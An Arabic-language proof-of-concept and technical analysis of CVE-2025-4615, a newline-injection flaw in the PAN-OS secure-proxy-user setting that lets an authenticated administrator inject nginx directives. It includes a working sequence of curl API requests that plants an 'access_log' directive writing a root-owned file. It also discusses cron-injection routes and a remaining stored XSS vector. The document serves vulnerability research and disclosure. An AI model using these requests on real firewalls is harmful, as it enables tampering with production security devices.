
cve-2025-4615 poc وتحليل متعمق
الثغرة: معادلة غير صحيحة للمدخلات في واجهة إدارة PAN-OS
إشعار البائع: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (متوسطة) — سلامة (Integrity) عالية، توافر (Availability) عالٍ
CWE: CWE-83 (معادلة غير صحيحة للبرنامج النصي في سمات صفحة ويب)
CAPEC: CAPEC-165 (التلاعب بالملفات)
الاعتماد: Visa Inc.
تاريخ التحليل: 2026-03-26
CVE-2025-4615 هي ثغرة حقن أسطر جديدة (newline injection) في حقل إعدادات secure-proxy-user في نظام Palo Alto Networks PAN-OS. يمكن للمسؤول المُصادَق عليه حقن أحرف أسطر جديدة (\n) في اسم مستخدم الوكيل عبر واجهة برمجة التطبيقات XML أو الواجهة الرسومية. أثناء الالتزام (commit)، تُكتب هذه القيمة دون تطهير في ملف /etc/nginx/nginx.conf، مما يسمح بالخروج من سطر التعليق وحقن توجيهات nginx تعسفية.
التأثير:
access_log المُحقَنملاحظة: إصلاح البائع (إزالة أحرف الأسطر الجديدة) غير مكتمل — الحقل نفسه يبقى عرضة لـ البرمجة النصية عبر المواقع المخزنة (Stored XSS) لعدم تطبيق ترميز للمخرجات أو قائمة سماح للأحرف.
يُعرَّف حقل secure-proxy-user في مخطط PAN-OS (schema.xml) كسلسلة نصية عادية دون أي تطهير للمدخلات:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
ملاحظة: يحتوي secure-proxy-server على قيد regex (regex="^([0-9a-zA-Z.:/_-])+$")، لكن secure-proxy-user لا يحتوي على أي قيد. هناك حد أقصى لطول 31 حرفًا، لكن لا توجد قيود على الأحرف.
أثناء الالتزام (commit)، يعيد PAN-OS توليد /etc/nginx/nginx.conf من قالب (/etc/nginx/nginx.conf.tmpl). يحتوي القالب على:
#pan_proxy_comment %s
يتم ملء العنصر النائب %s بواسطة دالة مكتبة libpanmp_mp.so التي تربط خادم الوكيل واسم المستخدم وكلمة المرور المشفرة في سلسلة نصية واحدة. في الإصدار المعرض للثغرة، تُمرَّر أحرف الأسطر الجديدة في اسم المستخدم كما هي دون معالجة.
عندما يحتوي secure-proxy-user على a\naccess_log /tmp/pwn3;\n#، يصبح ملف nginx.conf المُولَّد:
#pan_proxy_comment 8.8.8.9 a — تعليق (غير ضار)
access_log /tmp/pwn3; — توجيه مُحقَن (ينفَّذ بواسطة nginx!)
# -AQ==encrypted_password== — كلمة المرور موضوعة في تعليق عبر # المُحقَنة
السطر الأول تعليق. السطر الثاني توجيه nginx صالح على مستوى كتلة http. السطر الثالث تم تحييده بواسطة حرف # الذي أدخله المهاجم.
تعمل العملية الرئيسية لـ nginx بصلاحيات الجذر (root). يتسبب توجيه access_log في قيام nginx بفتح/إنشاء الملف الهدف بصلاحيات الجذر. يتيح ذلك:
في الإصدار المُصلَح (11.1.13)، يقوم كاتب الإعدادات بإزالة أحرف الأسطر الجديدة من اسم مستخدم الوكيل قبل كتابته في nginx.conf. نفس القيمة الخبيثة تُنتج:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
يبقى كل شيء في سطر واحد، داخل التعليق # بأمان.
ومع ذلك، هذا الإصلاح غير مكتمل. إنه يعالج حقن الأسطر الجديدة فقط. لا يزال حقل secure-proxy-user يقبل أحرفًا تعسفية (بما في ذلك ", <, >) دون ترميز للمخرجات، مما يترك ناقل XSS المخزن مفتوحًا على مصراعيه. انظر unit-43-xss.
secure-proxy-server مُهيأ (مطلوب لظهور تعليق الوكيل)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# الحمولة: "a\naccess_log /tmp/pwn3;\n#"
# الإجمالي: 26 حرفًا (ضمن حد 31 حرفًا)
# يحقن: access_log /tmp/pwn3; — ينشئ /tmp/pwn3 بصلاحيات الجذر
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
بعد اكتمال الالتزام (~30 ثانية):
/tmp/pwn3 بمالك rootnginx -t -c /etc/nginx/nginx.conf عن: syntax is okتنتشر قيمة secure-proxy-user غير المُطهَّرة إلى ملفات متعددة:
كاتبا ملفَي curlrc (/root/.curlrc) و wgetrc (/root/.wgetrc) يقومان بإزالة الأسطر الجديدة، حتى في الإصدار المعرض للثغرة. كان كاتب nginx.conf هو المسار الوحيد الذي لم يقم بالتطهير.
أكدت الاختبارات المكثفة لـ 11 ناقل هجوم أنه لا يمكن تحقيق تنفيذ أكواد على مستوى نظام التشغيل (OS-level RCE) من CVE-2025-4615 بمفردها على PAN-OS 11.1.6-h7 مع nginx 1.20.1. العوائق الحرجة الثلاثة:
\x0A — يمنع حقن أسطر جديدة خام في ملفات السجلات، مما يحجب حقن cron رغم تحمّل vixie-cron للأسطر التالفة (مؤكد معمليًا: cron ينفذ الأسطر الصالحة المحاطة بأسطر تالفة)log_format مع access_log للحصول على تحكم في محتوى الملفات المكتوبةإن عبارة "تنفيذ أوامر تعسفية" في إشعار البائع تشير على الأرجح إلى توجيهات nginx تعسفية، وليس تنفيذ أوامر على مستوى نظام التشغيل. يتوافق ذلك مع CVSS VC:N (لا تأثير على السرية) ومع طبيعة الإصلاح.
إذا غاب أي من العوائق الثلاثة، لكان تحقيق RCE ممكنًا بسهولة عبر حقن cron.
أُجري التحليل في بيئة معملية معزولة باستخدام PAN-OS 11.1.6-h7 (المعرض للثغرة) و PAN-OS 11.1.13 (المُصلَح).
| الملف | التأثير |
|---|
/etc/nginx/nginx.conf | خطير — حقن توجيهات nginx |
/opt/pancfg/tmp/.tdb_conf.xml | إعداد قالب قاعدة البيانات (حقن XML) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | إفساد مسار التدقيق |
/opt/pancfg/mgmt/replaydb/replay.db | إفساد قاعدة بيانات إعادة التشغيل |
| إعدادات الخدمات المُولَّدة عبر XSL (authd, cord, useridd, وغيرها) | قيمة XML محفوظة مع الأسطر الجديدة |